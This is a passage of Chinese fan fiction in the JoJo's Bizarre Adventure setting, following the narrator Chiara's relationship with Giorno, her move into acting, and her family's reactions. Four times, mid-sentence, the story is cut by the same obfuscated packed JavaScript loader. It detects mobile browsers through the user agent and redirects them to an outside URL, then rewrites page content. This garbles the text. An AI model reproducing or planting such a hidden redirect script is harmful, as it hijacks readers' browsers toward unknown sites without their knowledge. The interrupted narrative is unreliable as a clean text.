“哈哈,那我等会儿和米斯达讲清楚吧……他能接受吗?会不会觉得我们故意在耍他?”我问。 “不会,米斯达性格很好。”提到同伴的优点,布加拉提发自真心地微笑了。 …… 我们又聊了一些乱七八糟的事情,比如他和乔鲁诺是怎么认识的。 布加拉提说乔鲁诺以前经常在机场等候客人,他小小年纪就无证驾驶,靠开黑车赚钱。 那块区域不巧是【热情】某个成员管辖的位置,成员的附属出了一些事情,布加拉提就去看发生了什么,结果遇见了乔鲁诺。 “他无证驾驶、开计程车?”我吃了一惊。 布加拉提:“对。别看乔鲁诺平时看起来这么成熟,实际上他藏着很多让人大吃一惊的秘密呢。” 而我想到的是另外的事情。 “我那段时间也经常坐计程车呢……” 不过,计程车是全球哪里都很常见的东西,没什么特别的。我乘坐的计程车不可能刚好就是乔鲁诺开的。 但是一想到乔鲁诺开黑车,我就忍不住觉得惊讶又觉得好笑,越了解他越发现,只要有需要,乔鲁诺还真是什么事情都干得出来啊。 然后布加拉提又说起乔鲁诺是怎么成为【热情】首领的,内容概括一下,大概就是前任首领非常邪恶,布加拉提想要铲除对方,乔鲁诺当时就是布加拉提小队的一员,同队的成员还有纳兰迦、阿帕基和米斯达他们。 布加拉提小队费了很大的功夫除掉了之前的BOSS,但自己也伤亡惨重。 除了乔鲁诺和米斯达,其他人都住了很久的院,布加拉提更是直接陷入了沉睡好几年。 “……后来的事情,你也知道,我在医院遇见了你。而乔鲁诺因为能力出众,当时就继任BOSS好几年了。” 我还是有点不可思议:“乔鲁诺那么厉害吗?” “他本来就很聪明,”布加拉提说,“而且他的战斗能力非常特别,恐怕整个意大利都找不出几个人能做他的对手。” 真不可思议。 我还是觉得那样的乔鲁诺不太真实,怀疑布加拉提是否有夸张的成分……但不管怎么说,能够确认乔鲁诺很强,没有人能威胁到他,我真的松了口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319474|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真好。”我说。 布加拉提微笑:“是啊。能够遇见乔鲁诺,乔鲁诺能够成为【热情】BOSS,真好。” 他的话语里充斥着对乔鲁诺的肯定与欣赏。 看来无论在哪个世界,乔鲁诺都是个很好的人,才会让很好的布加拉提这么赞不绝口。 就在这个时候,房门被敲响了。 是乔鲁诺。 他要处理的工作告一段落,于是他来到了这个房间里。 布加拉提离开了,他看出我和乔鲁诺需要单独谈话的空间。 乔鲁诺的模样难得看上去有些局促,他问我是怎么知道他的身份的、又为什么要出现在这里。 “你说呢?”我卖了个关子。 乔鲁诺叹息:“是菲奥娜……对不对?但是,你为什么会在这个时候找我,我真的想不到答案。” 他观察了一会儿我的表情,接着道:“你应该早就知道这件事情了,你看起来不是很生气。” “因为已经生过气了……你说的没错,我早就知道这件事情了。”我说,“其实,我之前一直不和你联系,也有这方面的原因,无论怎么看,我们俩在一起的希望都太渺茫了。” 停顿了片刻,我接着道:“说起来很不好意思,乔鲁诺,我虽然年纪比你大一些,可是一直到三年前为止,我对自己的人生一点规划都没有。我不知道自己是一个什么样的人,喜欢什么,要度过怎么样的人生,我完全没有自我。” 那时候,我只是一个不够独立、还没有成长起来的孩子,我连基本的自我都没办法维持,更别说向外输出爱意了。 我做不到。 “我没办法对自己负责,所以也总是逃避感情问题,因为我无法像个成熟的大人一样去承担后果。” 但是,自从找到自己人生的道路以后,一切就不一样了。 “但是,”接着,我说,“现在,我可以对我自己的人生负责了。我认真地考虑了很久,……这三年来我经常想这个问题,这两天我也一直在想……尤其昨天听完你说的话以后,我想要和你谈一谈。” 听出我的认真,乔鲁诺也拿出了慎重的态度。 “好,”他说,“你想和我谈什么?” “我很喜欢你,乔鲁诺,也很期待和你在一起的每一分每一秒。”我尽可能让这个话题轻松一点,用轻快的语调道,“但是,我的人生应该是我自己的,我不会把人生的重心放在你身上,我愿意为了你放弃一些东西,但我不会放弃我自己。你能接受吗?” “理所应当。”他说,“我很抱歉,实际上……我也无法做到世界里只有你,但我希望有一天,我能做到这一点。” “我更喜欢呆在意大利之外的地方,意大利有我的父母,这让我感到负担。”我又说。 乔鲁诺:“我可以接受,但我目前很难离开这里,你能否愿意为了我偶尔停留?” “我愿意。”我说。 “那么我也愿意。”他微笑起来,“我很高兴你能和我开诚布公地谈论这些问题,这代表你已经开始考虑和我发展一段长久、而稳定的关系了,是吗,琪亚拉?” “对。”我第一次主动握住他的手,他总是平静的面容流露出一丝吃惊。 我俯下身去,依偎在他的掌心里,注视着他那双美丽的眼眸,认真地道: “因为我发现,我愿意共赴未来的人,确实只有你。除了你以外,谁都不可以。” 有乔鲁诺的未来,就是我期待的未来。 没有乔鲁诺,我当然也有自己的活法,可是有了他,我的人生会更加绚丽。 这就是人和人相遇的意义—— “我很荣幸。”乔鲁诺的眼眸慢慢平静下来,像一汪清潭,他捧着我的脸,轻轻地低下了脑袋。 他的眉心抵着我的眉心,我们的鼻尖相互触碰了一下又分开。 “我也是,除了琪亚拉以外,谁都不可以。我只希望能和你在一起。” 31.31 我在意大利呆了几天,假期结束,就正常回到了北美。 乔鲁诺说想看我的演出,但他无法跨洋出行,我安慰他,总有一天我会站上更大的舞台,保证能够让他看个够。 “我可以为你提供帮助,我认识一些人……”然后他说。 “不。”我打住他的话语,“如果我想要用这种手段,那就轮不到你来和我交往了。” 乔鲁诺沉默。 然后他微笑。 “确实。”他说。 演出很顺利,芬恩如愿以偿和心爱的女孩订了婚,粉丝们有祝福喜悦的,也有不满咒骂的。这个世界就是如此,有人会喜欢你也有人会讨厌你。 乔鲁诺说虽然没能到现场支持我们的演出,但他和纳兰迦都听了我们乐队的歌,觉得还可以。 “就是差了点感觉。”他说。 我燃起了斗志,开始试着创作编曲,在这之前我只是负责演出。 反复试着创作了几首不同的歌曲又修改数次以后,乐队的经营者松口同意采纳我的创作,同时他们为我带来新的消息,有一个正在筹划中的电影恰好需要一个摇滚明星的角色,导演挑选了很多人都不满意,公司问我要不要尝试去争取一下,这样能更好地提升乐队的名气。 名气提升以后,选择就会更多,创作和演出环境会更自由宽松。 几番权衡之下,我同意了这个提议,投递了个人资料,并且到场面试。 负责面试的导演组对我好像不太满意: “不对,你看着跟人们认知里的摇滚明星不太一样啊……不过长得很漂亮,你要不要考虑别的角色?” “可我确实是乐队成员,”我回答,“您何必局限于常规呢?电影里有一个不同于大众认知的角色也不错,不是吗?” 他们说这个想法值得考虑,然后让我回去等待消息,临走前,还依依不舍地又问了我一遍: “真的不考虑其他角色?” “如果有必要的话,我会考虑的,谢谢各位的建议。”我打了个圆场。 但是最后电话通知下来的时候,他们还是同意了让我出演原定的摇滚明星角色。 这个角色的戏份不多,我在一个星期内就完成了拍摄,接着马不停蹄地和成员们练习录制新歌。 工作忙起来的时候,我压根没心情和乔鲁诺说话,他作为位高权重的教父,反倒经常给我发来一堆信息,像黏人的大型犬。 跨国交谈中,有几次他对我正在吃的食物发表了意见: “这些东西看上去实在倒胃口……你什么时候休假?我们去吃点好的吧。” 我的队友里有一位亚裔,我在她的动态里看见了她回到故乡吃水果披萨的照片,我对这种创新不敢苟同,乔鲁诺听说之后,更是神情莫测。 “……出门在外,真是辛苦你了。”最后,他这么和我说。 “不过我昨天吃到了很美味的冰淇淋,”说点开心的,我跟乔鲁诺汇报,“很正宗的gelato。” “那真是太好了。”他回答。 我们就这样有一搭没一搭地聊了一会儿,休息时间结束,挂断电话,我又投入了工作之中。 乔鲁诺有时候会给我唱歌,分享他喜欢的乐队歌曲。 他对时尚也很有见解,当我告诉他我大学学习的正是相关专业。原定的就业目标也是这个方向,他对我给予了充分的肯定和赞赏。 我们聊得很开心,但这不妨碍我还要工作。 一工作起来,时间总会显得不够用,当我真的停下工作,又一次获得假期,已经是半年以后的事情了。 芬恩都开始准备结婚了!他说他们双方都迫不及待了。 “你什么时候会有好消息,琪亚拉?”接着他问我。 “太遥远了。”我说,“比起这个,我更在意下一首歌曲的灵感在哪里。” 考虑到乔鲁诺在等我,难得的假期,我飞回了那不勒斯。 乔鲁诺为我准备了住所,这次,我还见到了他的母亲。 他的母亲让我看着觉得很眼熟,但我就是想不起来哪里和她见过。 直到她在我和乔鲁诺面前坦然地释放魅力,迷得两个路过的年帅气轻侍应生昏头转向,我才隐约记起来,几年前的飞机上,我好像见到过类似作风的一位夫人。 乔鲁诺对此习以为常,他说他的母亲有自己的行事准则,她会有分寸的。 “你的继父不在乎吗?”我问。 提起这位法律意义上的亲人,乔鲁诺的姿态冷淡极了。 “母亲有分寸,他也不会意识到有什么问题,这段关系里,他反而是附庸……不用在意他。”乔鲁诺道。 他和他的继父完全就像陌生人。 我察觉到哪里不对,随口问了问,乔鲁诺说自己以前和对方闹过不愉快,他还小的时候被这个男人施以过暴力,但好在强势的母亲很快发现了这一点,和男人爆发了冲突,最后男人收敛了许多,只是他们奇妙家庭的关系裂痕就持续到了如今。 “他应该受到惩罚!”我非常生气。 “我已经处理过这件事情了,现在我和他互不干扰,就这样吧。”乔鲁诺说。 我很替他难过,抱了抱他,他摸摸我的脑袋,放轻了声音: “你以前生活得也很不容易,辛苦了。” “但是现在一切都变好了。”我说。 “是的,一切都变好了。”他表示同意。 因为乔鲁诺,我又见到了纳兰迦布加拉提他们好多次,特里休也出现了,她高兴地说这下好了,我们可以更多地联系接触,她很喜欢我,也很喜欢我送给她的礼物。 我这才想起来,之前我离开意大利和乔鲁诺分手的那一次,我还给他准备了礼物,但是一直没拿出来送给他。 这次,趁这个机会,我回到家找出礼物,然后拿给了他,是一只原创设计手工定制的钟表,这是我个人作品。 他接过手表,很真挚地表达了感谢,说自己一定会好好珍惜。 “你送我的鸟还在菲奥娜家里,她帮我养着。”然后我对乔鲁诺说。 我和菲奥娜不久前和好了,总之在正常朋友的范围内继续做着好朋友。 成年人的世界就是这样,好复杂,和朋友在一起也好,和恋人在一起也好,对待粉丝也是,都要接受对方好的一面,也要接受不好的一面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336512|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 比如我喜欢菲奥娜对我的热情,也要接受她时不时溢出来的占有欲,不过她答应了我以后会控制。 我喜欢乔鲁诺,但也要接受他只能和我异国恋爱。 “芬恩要结婚了,”我和他说,“他问我以后打算怎么办,你觉得呢?” 乔鲁诺道:“我都听你的,不过不管怎么说,我都只会选择你。” 既然他没有什么要求,那么普通地谈一辈子恋爱好像也不是不可能。 而且我们彼此也对对方以外的人不感兴趣,不会出轨。 至于财产问题,我们双方各自独立,根本没有财务上的纠缠需要处理。 ……这么一看,根本没有世俗意义上的结婚必要啊,因为没什么需要婚姻去保障的风险。 所以果然还是继续普通地谈恋爱就好了。 母亲知道了乔鲁诺的存在,提出来要请他去庄园里再次做客,我拒绝了她的邀请,表示我和乔鲁诺的事情完全是我们两个人自己的事情,不需要别人掺和。 母亲很生气,但拿我没办法。 后来,她不知道从哪里打探来乔鲁诺的身份……我们家确实还是有些人脉的,家里因为这个鸡飞狗跳了好久,外祖父母都快疯了。 “你竟然和那些人混在一起!我们要将你逐出家族!”他们对我放狠话。 我一点都不在乎,反问: “这有什么用?你们下次生日我还是会送礼物的。……哦,假如有一天我坐飞机出事了,你们作为我的家人不还是会来给我收尸吗?你们真的舍得让我在外面做孤魂野鬼?” 仗着那份血缘亲情,我肆无忌惮。 他们气得快晕倒:“不准说这么不吉利的话!” “所以说嘛,”我道,“就算我和外星人交往,我都是你们的女儿、外孙女,难不成你们还能真的不管我了?” “……琪亚拉!” 母亲生气得喊了我的全名。 我补充:“何况我和乔鲁诺只是谈恋爱,又不打算结婚,不走法律程序,对谁都造成不了影响,我们彼此都是互相独立的人,不会给谁带来麻烦,大家互相尊重就好了,不可以吗?” “你竟然不打算结婚?!”母亲这下更崩溃了。 完了,这个好像比我和帮派首领交往更让他们抓狂。 我把这个当成笑话讲给特里休听,特里休心有戚戚: “我们的人生不是才刚开始吗?这么着急一只脚踏进婚姻的坟墓干嘛?” “……是啊,我们的人生才刚开始。”我说,“乔鲁诺才毕业没几年呢。他说好不容易清理干净南部的垃圾,要清理北部了。” “我参加拍摄的电影也要上映了。” 明天会变成什么样,未来会变成什么样,一切都那样未知。 人生那么宽阔,不确定性那么多,我为什么要放下那些精彩,把注意力集中在一张无聊证书上。 “我当腻乐队成员了,”然后我和特里休宣布,“我要开始当演员,下个月我会回到欧洲,就在隔壁,参加一个剧组拍摄,到时候我们就会有更多的时间一起度过啦!” 和乔鲁诺也是。 真期待呀。 32.32 暂时告别乐队工作以后,我的新工作是回到欧洲,在法国拍摄电视剧。 角色戏份不多,导演选中我是因为我的简历足够出众,一连串的各领域证书看得他眼花缭乱——正好契合角色的需求。 这时候就不得不感谢我的母亲,虽然她的高要求给年少的我带来不小阴影,但从长远来看,确实有助于我过上更好的生活。 再展开下去,又要涉及到一系列哲学问题了,我决定就此打住。 电视剧拍摄期间,我和乔鲁诺一起逛了一趟博物馆,又去看了几个艺术展览。 很奇怪的一件事情是,我和乔鲁诺的兴趣爱好、性格喜好高度一致,彼此之间简直就像是世界上的另一个自己。 我们从未争执过,一切话题都是顺其自然的发生,顺其自然的结束。 他总能接上我说的话,而我能看懂他每一个表情。 因此,当特里休问起我和乔鲁诺的感情是否存在矛盾和意外时,我语塞许久,实在找不到可以描述的故事。 “没有那种东西,”最后,我只能这么说,“我和乔鲁诺一切都很好。” 不过,如果真要说的话,那就是一切都太好了,我经常会怀疑乔鲁诺有没有刻意迁就我。 我咨询了布加拉提的意见,问他乔鲁诺是什么样的,并且告诉他,乔鲁诺在我面前从来不生气也不反驳,他好得过头了。 布加拉提听到以后,思考了半天,最后慎重地告诉我一个不幸的结论: “乔鲁诺或许是努力地在你面前维持完美形象。” 为了验证这个结论的真实性,我开始观察乔鲁诺。 然后果然发现了一些从前没有注意到的小细节。 乔鲁诺出现在我面前的时候总是光鲜亮丽,他偶尔会不着痕迹地打探我出门的穿着,然后和我穿同色系的搭配。 他甚至几乎每次出现的时候都化了点淡妆!耳饰也是不重样的!虽然看上去都是小小的一颗钻,但色泽和切割绝对都不一样! 还有发型……目前为止,我一次都没见过他刘海散乱的样子。 “……你每天出门之前要收拾多久?”这么想着,不知不觉,面对乔鲁诺的时候,我就把心声说了出来。 乔鲁诺表情一僵。 虽然很细微,但我还是捕捉到了他那一瞬间的尴尬。 “没多久。”他若无其事,尽量风轻云淡地道,“怎么突然问起这个?” “嗯……就是觉得你很用心嘛。”我说,“别那么紧张,我又不会拿这个取笑你,我很欣赏认真打扮的男人,何况你还是为了我做这些。” 乔鲁诺的紧张却没有缓解,他抿着唇,不太高兴,脸颊微微地鼓起来一些。 “……没有刻意打扮,只是吹了一下头发。”他再次重申自己的“随性”。 感觉自己像是谈了一个努力在追求淡妆自然感、实际上花了两个小时精心拾掇的可爱小孩。 我在心里窃笑了一下,起了捉弄他的心思,嘴巴上假装无辜地揭穿他: “哦?可是你好像还涂了点口红吧?” 这可逃不出我的观察。 乔鲁诺的眼睛转到了另一边。 “我的唇色比较淡,不涂的话……”他的声音也小了,“……这也是没有办法的事情。” “嗯,这样啊。”我凑近了些,揶揄地道,“这个颜色确实很适合你呢。是哪一只?” 他犹豫了一下,报了个色号。 我直接往他口袋里掏:“我没见过你口红掉色,你是不是偷偷带在身上补?” 乔鲁诺慌张起来,他的手无处安放,似乎很想推开我,但最后还是没有动我,我顺利地从他怀里摸到了口红,举到眼前打量了一下。 “我也想试试。”然后我和乔鲁诺说,“你帮我涂。” 他从不拒绝我的要求,小心翼翼地用卸妆巾帮我抹掉了我嘴巴上本来的颜色,接着扶着我的脑袋帮我涂上新口红,娴熟地帮我晕开那抹淡粉色。 看着他小心翼翼的样子,我忍不住觉得太有趣了,等他大功告成的下一秒,就吧唧把嘴巴往他脸颊上印了一下。 “再来,重新补。”我撅起嘴示意他重新给我画口红。 乔鲁诺照做了。 我在他脸上又亲了一口。 反复两三次以后,乔鲁诺终于忍不住了,和我商量道:“别捉弄我了,琪亚拉。” 我笑起来。 “好哦,那最后涂一次就放过你。” 我说。 乔鲁诺又乖乖举起口红给我补妆了。 “巧克力味的,好香。”我评价了一下。 然后往他下嘴唇上咬了一口。 “下次换个奶油味,我要吃奶油味的乔鲁诺。” “……琪亚拉。” “嗯?……!唔。” 然后就被这样那样禁止说话了。 …… 除了容貌包袱很严重以外,我发现乔鲁诺在能力展示方面也很努力想要做到完美。 他经常一不注意就会化身导游,和我介绍约会场所的一些历史故事,或者滔滔不绝地介绍在约会过程中遇到的文化因素。 布加拉提说他撞见过乔鲁诺在约会前一晚背资料。 我想起来,自己曾经在无意中夸奖过他一次博学,没想到乔鲁诺从此就开始勤奋好学,一直在巩固人设。 乔鲁诺还是一个仪式感非常强的小朋友。 像我这样见惯了异性追求的家伙,其实早就厌倦了送花看电影请吃饭那一套。 而随着年龄的增长,我发现,能做到这些的追求者都不多了,他们更多的只会嘴巴上疯狂骚扰我说我爱你,实际行动却什么都不做。 乔鲁诺每次约会的时候都会给我带花和礼物,在确认我不反感以后,他甚至直接开始送我带着根系的花朵,鼓励我在家种植。 “家里都快变成花房了……”我抱怨,“你送的品种几乎都不重样。” “可以寄到庄园里。”他说。 这倒让我挺新鲜的,而且他坚持了很长时间,至今为止,从来没有漏下过一次礼物和花束。 他还会坚持每天和我问好,关心我的心情和生活细节,某次约会过程中,我注意到他把和我问好、跟我说晚安设置成了每日提醒的闹钟。 太夸张了! 他不会累吗? “放松一下吧,亲爱的,”我忧心忡忡地劝告他,“人总不能几十年如一日地做这些事情,太细碎太疲惫了。” “我会坚持的。”他说,“毕竟你就是我生活的一部分。” 他还会给我做饭,虽然肯定比不上五星大厨,但就家常菜而言也相当不错了。 我和特里休说过一次乔鲁诺会做饭,特里休震惊极了: “他说那种事情影响他的工作效率,绝对不会考虑去做的!” 我挠挠脸:“嗯……我们还是不要讨论乔鲁诺了吧。我的乔鲁诺和你们的好像不是同一个。” “……闭嘴琪亚拉。不知道为什么,听到你这么说话的时候,我突然感觉拳头很痒啊!” 特里休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340223|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愤怒了。 …… 法国的电视剧拍摄了五个月,终于结束。 我第一次参演的电影早就上映了,虽然角色不够引人注目,但好歹是一份工作成绩,我借着两次拍摄经历,又接到了新工作。 报酬不重要,戏份多少也不重要,我努力在每次的表演工作中领悟新知识,积累经验。 工作过程中,有人向我释放好感,我直截了当表明自己并非单身,这些追求少了一些,但没有完全断绝,可惜我意志坚定,追求者们无法取得进展。 他们于是开始好奇从来没在我工作时露面的乔鲁诺,质疑我是否真的存在这么一个男朋友,而当我找到机会,带男朋友出席聚餐时,大家又都齐齐噤声了。 “你男朋友真不赖……”在剧组结识的朋友对我表示,她不争气地从嘴巴里流下了羡慕的泪水,“我总算知道帅哥都去哪里了,果然帅哥都配你这样的美女了。太好了,爸爸妈妈我要追随你们。” 我有点尴尬了:“……别说的这么夸张。” 然后我在业内的外号除了“那个证书很多的”以外,又添加了一个“那个男朋友是圈外人、但是很帅的”。 打我主意的人少了,缠着我好奇乔鲁诺到底能有多帅的人多了。 事情小范围地发酵了一阵子,在我进入下一个剧组拍摄的时候,不知道谁挖出了乔鲁诺不可言说的身份,所有关于我恋情的讨论一下都哑火了,大家看着我的背影都尊敬了许多。 “都怪你,”下班以后,我忍不住和乔鲁诺抱怨,“现在他们已经开始在传奇怪的谣言了,他们说我作为【热情】BOSS的女人,曾经用一把左轮手枪七进七出杀穿那不勒斯。” 乔鲁诺笑得肩膀一直在抖,根本没停过。 “你可以试试坐实流言,”然后他一本正经地和我道,“我安排几个小队配合你演戏,以后你在演艺圈就可以横着走了,大家都会畏惧你。” 我气得睁大了眼睛:“我需要那种畏惧干什么?” “嗯……当欧洲演艺圈的【BOSS】?”他故作正经地帮我想原因。 我说:“可是我连替身都没有……你们这些打架很厉害的不都是替身使者吗?” “你也可以是,”他说,“我就是你的替身。” 他把手翻过来,手掌心里赫然呈现着不知道什么时候从我耳朵上取下的一只耳环,然后在我的注视下,那只耳环变成了一只鲜花环绕而成的戒指。 他把鲜花戒指带到我手上,轻轻吻了吻我的指节。 “再次向您效忠,冕下。我将为您献出我的所有。” 我笑着反过来握住了他的手。 “授勋礼需要的是剑,不是戒指,我的守护骑士先生。” “我不仅想成为一把剑,”而他碧绿的眼睛紧锁着我的目光,“我要成为与你生命相连的存在。” 他要用戒指把我们绑在一起。 这是一种暗示。 我沉默了片刻。 他在隐晦地向我求婚。 这家伙还是这么狡猾,把可怕的目的隐藏在随意的动作之后,如果我放松警惕,就上了他的大当。 “不行哦。”我抽回手,笑眯眯地拒绝了他,乔鲁诺的脸色肉眼可见的暗了下去。 我补充:“十年之后再说这件事情吧,现在还没到年纪呢,不要这么着急做老爷爷老奶奶才喜欢做的事情啊。” “但是,不管怎么说……至少这十年内我都不会跑掉的。你再努力努力,争取让十年后的我愿意答应你吧。” 33.33 不专心谈恋爱的时候,我和乔鲁诺根本没什么生活交集,也没什么值得说的地方。 他管理他的帮派,我忙我的工作。 我们俩都有自己的生活要过。 在一起的时候,也很少向对方倾诉自己的工作,毕竟涉及领域天差地别。 但是还是有说不完的话。 他和我说朋友、说美食、分享风景和音乐。 我给他讲故事,说自己刚刚参加的时装秀,让他看妹妹维拉和我自己小时候的照片对比。 “我和维拉长得不是很像呢。”我说,“对了,爸爸的葡萄园最近要丰收了,你要不要和我一起回家去看看。……还有外公要过生日了,到时候会有很多法律界人士,他今年都不想开生日会了,生怕谁在宴会上提到我和你的关系。” 其实无所谓,因为外公早就退休了,乔鲁诺的身份又不一般,大家顶多在背后八卦两句,何况他们俩都不在一个国家,根本对彼此没有任何威胁好吗。 不过外公还是经常为了我和乔鲁诺谈恋爱的事情抓狂,他一听到和这个外孙女婿有关的消息就会气得开始疯狂擦窗户,这是他的解压方法。 其他人都已经接受良好了,尤其是父亲,他对帮派很感兴趣,总是背着母亲和乔鲁诺唠嗑,问他电影里的帮派描写真不真实。 母亲发现她已经掌控不了我的思想以后彻底摆烂了,她做出的最后挣扎就是乔鲁诺到访庄园的时候,把维拉远远抱走,生怕维拉也沾染上帮派气息。 但是另一方面,她又和我一样,很欣赏乔鲁诺的外表和审美,还有他显摆出来的做饭技能。 我偶尔能看见她对着乔鲁诺的背影叹气,管家偷偷告诉我,母亲经常偷偷嘀咕“这么好一个孩子、怎么会是混帮派的呢?”。 某一天,总之我们大家一起聚餐了,乔鲁诺叫上了自己的母亲到庄园,我的母亲和乔鲁诺的母亲互相添加了联系方式,在那之后,母亲就对乔鲁诺脸色变好了不少。 虽然她依然不让维拉离乔鲁诺太近,但是她会开始主动关心乔鲁诺渴不渴、饿不饿,开车过来辛不辛苦,要不要带点葡萄和甜品再走。 也不知道她和乔鲁诺妈妈交流了些什么,后来她甚至还和我说对乔鲁诺好一点,不要欺负小朋友。 ……好怪啊。 不过这算不上什么大事,所以我就没再关注下去,反正是一个好的倾向。 休假的时候,我经常会造访【热情】总部,后来干脆把行李搬到乔鲁诺的卧室里。 他办公我睡觉,他回来了我准备睡觉,总之每天白天除了吃饭都在睡觉,晚上睡不着了,就爬起来偷偷玩手机。 然后被制裁了,乔鲁诺说看见我在玩手机他不高兴。 但是白天我还是继续赖床,假期就是要睡到日上三竿再起床吃饭才是假期啊。 乔鲁诺和躺成咸鱼的我截然不同,他每天都在我昏睡的时候起床收拾好自己去工作,晚上还要拉着我进行日常交流,我掐指一算他睡觉的时间都不满八小时,但他从来没有露出过倦容。 他甚至从来没有懈怠过自己的外貌管理,总是又精致又香,睡衣都是成套带造型的! 好可怕的男人! “你为什么总是这么精神……你工作了一天真的都不累吗?我在房间里躺了一天都觉得没劲。” 我实在很疑惑他的精力都是哪来的。 乔鲁诺眨眨眼:“你想试一下我的诀窍吗?” 我说试试。 然后我感觉有什么东西好像碰了我一下。 本来昏昏欲睡的困倦一扫而空,我的精神亢奋到了一种漂漂欲仙的感觉,乔鲁诺关了灯却不睡觉,我被迫熬夜通宵,但是还是一点都不困,甚至在乔鲁诺天亮就无缝起来上班以后,下楼绕着大厅跑了好几圈。 ……原来是替身能力,乔鲁诺的替身能让人精神力亢奋! 这个男人在用替身能力挖掘加班和折磨我的可能性! 试过一次以后,我再也不对他的精力多嘴疑问了。 我要睡觉,我不要再被迫通宵了,也不想再体验高敏感精神力了,太恐怖了。 他的替身能力简直就是变态。 假期很短,我在【热情】躺平了几天,就被经纪人一个电话挖起来再次进组上班了。 之前拍摄的影视剧接连上映,我得到了不少关注,纳兰伽开始和我要签名了,他说他的小弟们对此很感兴趣。 我大方地一口气给他签了十张。 特里休当上了专业模特,也接了几次影视工作,我们在片场相遇,聊了几句,接着开开心心一起约饭了。 布加拉提一看到特里休的事业就会感动得几乎要落泪,他活像个特里休的老父亲,还经常对我说让我多照顾特里休,丝毫没有特里休入行其实比我早的概念。 算了,和老父亲说这个也没意义,我直接麻木点头说嗯嗯好的好的,我们会互相扶持的。 “如果有人欺负你们一定要告诉我,”布加拉提接着道,“我带着纳兰伽去轰碎他们!” 我已经知道了纳兰伽的替身能力就是飞机轰炸之类的……但是这个说法真的也太夸张了!不至于此! “不会有那种事情的!”我连忙劝布加拉提冷静,“我和特里休本来就不好惹!” 布加拉提:“不,女孩子还是要多加防范的好!” 他一说起这些就没完了,我赶紧借口有事要忙,把特里休拉过来挡在身前,自己开溜。 乔鲁诺对布加拉提的担忧表示:“确实有点夸张了。” 然后他又转而对我道: “但是如果有人对你不敬,琪亚拉,我一定会让那个家伙后悔。有类似的事情发生吗?比如有人对你说话不够礼貌,没有敬语尊称之类的。” “……你有什么资格说布加拉提夸张?”我不由得反问乔鲁诺。 “这些都是必要的,”乔鲁诺说,“我想了解这些并不夸张,对你不礼貌也是很严重的事情,我为什么不能慎重对待?” 天啊,这两个男人在这方面实在是难以沟通。 “如果有我一定告诉你。”我只能这么回答。 “一定。”乔鲁诺强调。 “好的好的。”我满口答应。 他终于满意。 【热情】的名声越来越响了,我听说他们治理了国家和周边地区的所有不法生意,犯罪分子在意大利几乎都要无路可走了,很多家伙恨乔鲁诺恨得牙痒痒,但又潜伏不进那不勒斯,因为乔鲁诺和他的护卫队强得可怕。 菲奥娜对乔鲁诺的非议都变少了,她说乔鲁诺确实打击了犯罪率,值得敬佩。 “没想到有生之年我能听见你夸奖他。”我揶揄菲奥娜。 菲奥娜脸红了:“……我会尊重事实的!就这方面而言,他真的值得钦佩,他守护了这个国家!” 果然是人活久了,什么都能见到,就连外公对乔鲁诺的态度都改变了。 他甚至还主动问我能不能把男朋友往他家里带,让他见一见传说中的这位青年俊杰。 我说可以呀,但是外公需要给我点好处。 外公吹胡子瞪眼:“你这都是和谁学的?怎么越来越滑头了?” “乔鲁诺呀。”我光明正大甩锅。 外公被我气得又开始猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340224|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛擦窗户了。 一年、两年…… 和好好像过去了很久,但是我算了半天,发现我和乔鲁诺还是只熬过了两年。 当初说好十年之内都不会考虑结婚,原来十年比想象的要长,不知道我们会不会在这十年里发生什么意外。 不管怎么样,我不打算改变这个十年之内不考虑婚礼的想法。 谈恋爱多好呀,我拥有一个完美的男朋友。 “其实,”在某一天,我问起乔鲁诺是不是曾经和我上过同一所中学的时候,他终于向我坦陈了,“我的确在那时就注意到你、喜欢你了。” 但是那个时候我们没能在一起,后来我们在一起了也没能坚持,兜兜转转,直到今天,才终于稳定下来。 一切都是最好的安排,命运会把我们指引到最该前往的地方。 “感谢你对我的坚持。”我把脸埋进乔鲁诺胸膛。 